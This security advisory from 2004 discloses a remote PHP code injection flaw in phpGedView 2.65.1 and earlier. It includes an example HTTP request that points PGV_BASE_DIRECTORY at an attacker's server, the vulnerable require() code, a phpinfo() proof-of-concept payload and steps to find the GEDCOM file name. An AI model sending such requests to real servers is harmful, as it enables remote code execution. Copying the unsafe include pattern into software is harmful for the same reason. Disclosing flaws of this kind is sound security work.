netVigilance Security Advisory 2

PHP Code Injection Vulnerabilities in phpGedView 2.65.1 and prior


Description:
PHP remote code injection vulnerability in the GEDCOM configuration script for phpGedView 2.65.1 and earlier allows remote attackers to execute arbitrary PHP code by modifying the PGV_BASE_DIRECTORY parameter to reference a URL on a remote web server that contains a malicious theme.php script.

External References:
Mitre CVE: CAN-2004-0128
BUGTRAQ: 20040129 PHP Code Injection Vulnerabilities in phpGedView 2.65.1 and prior

Summary:
phpGedView is an open source system for online viewing of Gedcom information (family tree and genealogy information). Multiple PHP Code Injection vulnerabilities exist in the phpGedView product. They enable a malicious user to execute commands on the server.

Release Date:
January 29 2004

Severity:
High

SecureScout Testcase ID:
TC 17868 (Still in Development)

Vulnerable Systems:
phpGedView version 2.65.1 and prior

Vulnerability Type:
PHP Injection - force the Target to Execute a PHP file from Attackers Server

Vendor Status:
The Vendor has been notified and has Released a Version 2.65.3 that fixes the problem

Example:
(HIGH Risk no authentication needed)

- -- HTTP Request --

http://[target]/[phpGedView-directory]/index/[GED_File]_conf.php?PGV_BASE_DIRECTORY=http://attacker&THEME_DIR=/

- -- HTTP Request --

Code impacted : [GED_File]_conf.php

123:if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php"))
require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
124:else {
125: $THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
126: require($THEME_DIR."theme.php");
127: }

The require call is only vulnerable when PHP register_globals is On.

In this case you have to obtain the name of the GEDCOM File used. Just perform a http://[target]/session.php request the GEDCOM file will be in argument of the login.php call.

The attacker has to create on his web site a directory call themes/standard, and a file theme.php

For example: theme.php = <?php print "<?php phpinfo();?>" ;?>

and the request, will execute the phpinfo() command on the vulnerable target.

Credits:
Cedric Cochin - netVigilance Vulnerability Research team

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